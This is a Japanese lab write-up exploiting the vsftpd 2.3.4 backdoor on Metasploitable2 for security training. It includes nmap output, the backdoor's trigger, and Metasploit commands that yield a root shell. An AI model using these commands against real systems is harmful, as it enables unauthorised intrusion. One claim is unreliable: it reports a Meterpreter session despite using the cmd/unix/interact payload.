
Metasploitable2 上の vsftpd 2.3.4 バックドア (CVE-2011-2523) の悪用 — 偵察、悪用、そして修復を網羅する実践的なペンテストラボの writeup
隔離された Kali Linux ↔ Metasploitable2 環境を使用して、vsftpd 2.3.4 の既知のバックドア脆弱性の発見と悪用を実演する実践的なラボです。
意図的に脆弱性を持つターゲットマシンに対して、偵察、脆弱性の特定、悪用、ポストエクスプロイテーションの検証という、ペネトレーションテストの中核的なワークフローを練習します。
| コンポーネント | 詳細 |
|---|---|
| 攻撃機 | Kali Linux 2026.1 (VMware) |
| ターゲット | Metasploitable2 (VMware) |
| ネットワーク | NAT、ホスト/インターネットから隔離 |
| ターゲット IP | 192.168.233.129 |
両VMは同じプライベートネットワークセグメント上に配置し、実ネットワークから隔離して、この演習が外部に一切さらされないようにしました。
nmap -sV -sC 192.168.233.129
ターゲットの開放ポートとサービスバージョンをスキャンしました。結果は次のとおりです:
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
...

ポート21で vsftpd 2.3.4 が稼働していました。この特定のバージョンにはバックドアが含まれていることが公に知られています。2011年、公式のvsftpdソースアーカイブが侵害され、悪意のあるコードが挿入されました。:) という文字列を含むユーザー名でログインすると、TCPポート6200に隠しリスナーが起動し、認証なしのリモートシェルが提供されます。
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.233.129
set payload cmd/unix/interact
run
このエクスプロイトはバックドアの起動に成功し、Meterpreter セッションを返しました。

sessions -i 1
sysinfo
getuid
侵害したホスト上でアクティブなセッションとアクセスレベルを確認しました。


バックドアが仕込まれた古いサービスを1つ悪用するだけで、認証を一切必要とせずに、ターゲットマシンへの完全な root レベルのリモートシェルアクセス を獲得しました。
既知の公開脆弱性を持つサービスが1つ古いだけでも、システム全体を完全に侵害できる — カスタムエクスプロイトの開発や高度な技術は一切不要でした。これは、パッチ管理とバージョン管理が現実世界のセキュリティ態勢の基盤である理由を示しています。
この演習は、セキュリティトレーニング用に設計された意図的に脆弱な仮想マシンである Metasploitable2 に対してのみ、本番システムやサードパーティのインフラストラクチャに接続されていない隔離されたラボネットワーク内で実施されました。